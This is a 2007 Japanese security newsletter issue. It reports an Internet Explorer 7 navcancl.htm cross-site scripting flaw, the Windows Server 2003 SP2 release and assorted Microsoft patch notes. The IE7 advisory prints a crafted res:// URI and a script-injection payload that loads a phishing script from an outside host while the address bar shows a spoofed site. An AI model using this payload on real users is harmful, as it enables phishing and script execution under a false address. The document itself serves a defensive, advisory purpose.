このページは、HotFix Reportで配信されたセキュリティ情報のバックナンバーです。「更新日」に明記された時点での情報ですのでご注意ください。ご購読の申し込みは「HotFix Report購読の申し込み」 をご参照ください。

トップページ サービスの詳細 セキュリティ情報 購読の申し込み
 

更新日:2007/03/21


不具合ならびに追加情報

情報の種類 セキュリティ番号 タイトル
脆弱性 −/− Internet Explorer 7にクロスサイト・スクリプティングの脆弱性
SP −/914961 英語版/ドイツ語版のWindows Sever 2003 SP2が正式リリース
不具合 −/− そのほかの不具合情報
 
[脆弱性]
 
HotFix Alert:
 
セキュリティ番号:
 
サポート技術情報:
Internet Explorer 7にクロスサイト・スクリプティングの脆弱性
情報ソース Aviv Raff氏(Aviv Raff On .NET)、Secunia
情報の内容 Internet Explorer 7の脆弱性
条件 Internet Explorer 7の利用
報告日 2007年3月14日

 Aviv Raff氏は、Internet Explorer(IE) 7の「navcancl.htm」ページの処理にクロスサイト・スクリプティングを可能にする脆弱性が存在することを報告した。

・Aviv Raff On .NET(Phishing using IE7 local resource vulnerability):
http://aviv.raffon.net/2007/03/14/
PhishingUsingIE7LocalResourceVulnerability.aspx

 navcancl.htmは既定でIE 7が持っているページで、何らかの理由によりナビゲーションがキャンセルされた場合に表示される。報告によれば、以下のようなURIをアドレス・バーに入力すると、navcancl.htmが表示されるということだ。

res://ieframe.dll/navcancl.htm#http://www.site.com

 この際、アドレス・バーには「http://www.site.com」が表示されたままとなる。そこで、URIを細工し、アドレスを偽装したいWebサイトのURL(この例ではhttp://www.site.com)に続き、以下のようなスクリプトを記述しておく。すると、ユーザーがnavcancl.htmの「ページを最新の情報に更新する」のリンクをクリックすると、アドレス・バーの表示が「http://www.site.com」のままに「phish.js(JavaScript)」を実行させることが可能になる。つまり、アドレス・バーを偽装し、フィッシング・サイト(この例ではhttp://www.example.com/)に誘導することができるわけだ。

?");document.write('<script%20src=\'http://www.example.com/phish.js\'></script>');//
#scriptが誤動作する危険性があるため、ここでは全角で「script」を記述している。

 Aviv Raff氏とSecuniaが、この脆弱性を検証する実証コード(Webページ)を公開している。

・Secunia(Internet Explorer 7 navcancl.htm Cross-Site Scripting Vulnerability):
http://secunia.com/advisories/24535/

 現在のところ、マイクロソフトからこの脆弱性に対する修正プログラムは提供されていない。前述のように、すでに実証コードが公開されており、悪用可能な状態となっている。公開されている手法では、アドレス・バーにスクリプトを挿入することで、それを実行させるようになっている。そこでアドレス・バーを注意深く見ることで、URIが細工されていることは判別可能だ。だが、手口が巧妙化する危険性もあるので注意が必要だ。今後、navcancl.htmが表示された場合は、「ページを最新の情報に更新する」のリンクはクリックしない方がよいだろう。

情報の対象:
 Internet Explorer 7
HotFix Report BBS関連スレッド:
・IE7にクロスサイト・スクリプティングの脆弱性、修正プログラム未提供
http://bbs.hotfix.jp/ShowPost.aspx?PostID=6571
   
[SP]
 
HotFix Alert:
 
セキュリティ番号:
 
サポート技術情報:
914961
英語版/ドイツ語版のWindows Sever 2003 SP2が正式リリース
情報ソース Microsoft
情報の内容 Windows Server 2003 SP2のリリース
条件 Windows Server 2003の利用
報告日 2007年3月14日

 Microsoftは、英語版とドイツ語版のWindows Server 2003向けサービスパック2(SP2)をリリースした。

・ダウンロード・センター(Windows Server 2003 Service Pack 2 (32-bit x86)):
http://www.microsoft.com/downloads/details.aspx?
FamilyID=95ac1610-c232-4644-b828-c55eec605d55&DisplayLang=en

 Windows Server 2003 SP2は、Windows Server 2003 SP未適用/SP1、Windows Server 2003 R2、Windows Storage Server 2003 R2、Windows Small Business Server 2003 SP未適用/SP1、Windows Small Business Server 2003 R2の各エディションにインストール可能だ。ただしWindows Small Business Server 2003 SP未適用/SP1については、一部の環境でSP2がインストールできないということだ(サポート技術情報:932600)。Windows Small Business Server 2003を利用している場合は、事前にサポート技術情報を確認の上、SP2をインストールした方がよい。

・サポート技術情報 932600(一部のシナリオで、 Windows Small Business Server 2003 の完全製品版にアップグレードする前に、または Microsoft Windows Server 2003 に移行する前に、 Windows Server 2003 SP2 を削除する必要があります):
http://support.microsoft.com/default.aspx?scid=kb;ja;932600(機械翻訳)

 SP2は、これまでのセキュリティ修正プログラムと不具合修正プログラムが多数含まれている。またリモート・インストール・サービスがWindows Deployment Servicesに置き換えられたり、一部の設定が変更されたりするので、インストール前には十分検証を行った方がよい。SP2に含まれる修正プログラムの情報は、以下のページで公開されている。

・TechNet Windows Server TechCenter(Security Bulletins Included in Windows Server 2003 Service Pack 2 (SP2)):
http://www.microsoft.com/technet/windowsserver/sp2/security-bulletins.mspx

・サポート技術情報 914962(Windows Server 2003 2 Service Pack での更新の一覧):
http://support.microsoft.com/default.aspx?scid=kb;ja;914962(機械翻訳)

 また日本語版のWindows Server 2003 SP2については、3月27日にリリースされるという未確認の情報がある。リリースされた場合は、改めてHotFix Weeklyでお知らせする。

情報の対象:
 Windows Server 2003

HotFix Report BBS関連スレッド:
・英語版/ドイツ語版Windows Server 2003 SP2正式版が公開
http://bbs.hotfix.jp/ShowPost.aspx?PostID=6544

   

■そのほかの不具合/追加情報

・サポート技術情報 931312(Windows Server 2003 は、ボリューム シャドウ コピー サービスが有効な場合、開始されないことがあります):[Windows Server 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;931312(機械翻訳)

・サポート技術情報 933551(Windows Server 2003 Service Pack 2-based Helix サーバー を再起動しようとすると、 Helix サーバー サービスが停止します):[Windows Server 2003 SP2]
http://support.microsoft.com/default.aspx?scid=kb;ja;933551(機械翻訳)

・サポート技術情報 931317(Windows Server 2003 を実行しているマルチプロセッサ コンピュータで USB デバイスを使用すると、コンピュータは、コンピュータは、応答を停止します):[Windows Server 2003 SP1/SP2]
http://support.microsoft.com/default.aspx?scid=kb;ja;931317(機械翻訳)

・サポート技術情報 931476(プログラムが Windows Server 2003 ベースのコンピュータに自動的に停止すると、アクセス違反が発生します):[Windows Server 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;931476(機械翻訳)

・サポート技術情報 933558(PowerPoint 2003 での PNG 形式でプレゼンテーション ファイルを保存しようとした後に、一部のスライドが空白です):[PowerPoint 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;933558(機械翻訳)

・サポート技術情報 933547(FIX: Windows Media Player が Windows XP で使用されるが、特定のフラッシュ メモリ デバイスに接続するならば、 Windows Media Player 11 がクラッシュできます):[Media Player 11]
http://support.microsoft.com/default.aspx?scid=kb;ja;933547(機械翻訳)

・サポート技術情報 924423(Outlook 2003 と Office 2003 MUI パック の更新の説明:2007年3月15日):[Outlook 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;924423(機械翻訳)
http://www.microsoft.com/downloads/details.aspx?
FamilyID=32c24709-50b5-4698-b5cb-be7d6765fe3a&DisplayLang=ja

#Outlook 2003の予定表に2007年から2012年までの休日を追加するための修正プログラムの提供

・サポート技術情報 932246(2007年3月 Windows Vista アプリケーション互換性アップデート):[Windows Vista]
http://support.microsoft.com/default.aspx?scid=kb;ja;932246(機械翻訳)
http://www.microsoft.com/downloads/details.aspx?
FamilyID=e529eeaa-10f2-44fd-bae1-89f395e71277&DisplayLang=ja

#Windows Vistaで発生するアプリケーション互換性に関する問題を解消する
修正プログラムの提供

・サポート技術情報 929399(FIX: サービスが Windows Media形式 11 SDK を実行しているクライアント コンピュータでのメータリング データを同期しようとすると、購読音楽サービスがメータリング データは抽出できません):[Windows Media Player 11]
http://support.microsoft.com/default.aspx?scid=kb;ja;929399(機械翻訳)
http://www.microsoft.com/downloads/details.aspx?
FamilyID=f1bf878b-7296-43a5-b192-ad130fa8c052&DisplayLang=ja

#Windows Media Format 11の不具合修正プログラム

・サポート技術情報 890830(Windows Server 2003、Windows XP、または Windows 2000 を実行するコンピュータから、流行している特定の悪質なソフトウェアを削除する Microsoft Windows 悪意のあるソフトウェアの削除ツール):[Windows 2000 SP4][Windows XP SP2][Windows Server 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;890830
http://www.microsoft.com/downloads/details.aspx?
FamilyID=ad724ae0-e72d-4f54-9ab3-75b8eb148356&DisplayLang=ja

#悪意のあるソフトウェアの削除ツールの最新版(Ver.1.27)の提供

・サポート技術情報 931764(Outlook 2003 迷惑メール フィルタ更新プログラム (2007 年 3 月 13 日) について):[Outlook 2003]
http://support.microsoft.com/default.aspx?scid=kb;ja;931764
http://www.microsoft.com/downloads/details.aspx?
FamilyID=ed3fce58-9be9-4bd2-8660-2c4cdd687132&DisplayLang=ja

・サポート技術情報 931766(Outlook 2007 迷惑メール フィルタ更新プログラム (2007 年 3 月 13 日) について):[Outlook 2007]
http://support.microsoft.com/default.aspx?scid=kb;ja;931766
http://www.microsoft.com/downloads/details.aspx?
FamilyID=7d324d05-df70-4116-a83f-a42c3d5baf77&DisplayLang=ja

・ダウンロード・センター(Windows Defender):[Windows XP SP2][Windows Server 2003 SP1]
http://www.microsoft.com/downloads/details.aspx?
FamilyID=435bfce7-da2b-4a6a-afa4-f7f14e605a0d&DisplayLang=ja

 

UpdateEXPERTは、管理者の負担を大幅に軽減するHotFix管理ツールです。
HotFix Reportは、UpdateEXPERTユーザー向けの情報を含んでいます。UpdateEXPERTに関する詳細ならびにお問い合わせは、アップデートテクノロジー株式会社のホームページをご参照ください。
 
Copyright (C) Digital Advantage Corp.
このメールは、HotFix Reportにご登録いただいておりますユーザー様にお送りしています。
無断で複製・再配信などを行うことはできません。このメールに関する問い合わせ先
info@hotfix.jp
HotFix Reportでは、細心の注意を払って情報提供を行っておりますが、本サービスにおける情報の正確性、最新性、適切性などについて、明示的又は黙示的な保証を行いません。また本サービスの停止や欠陥、それらに起因して発生する損失や損害について、一切責任を負いません。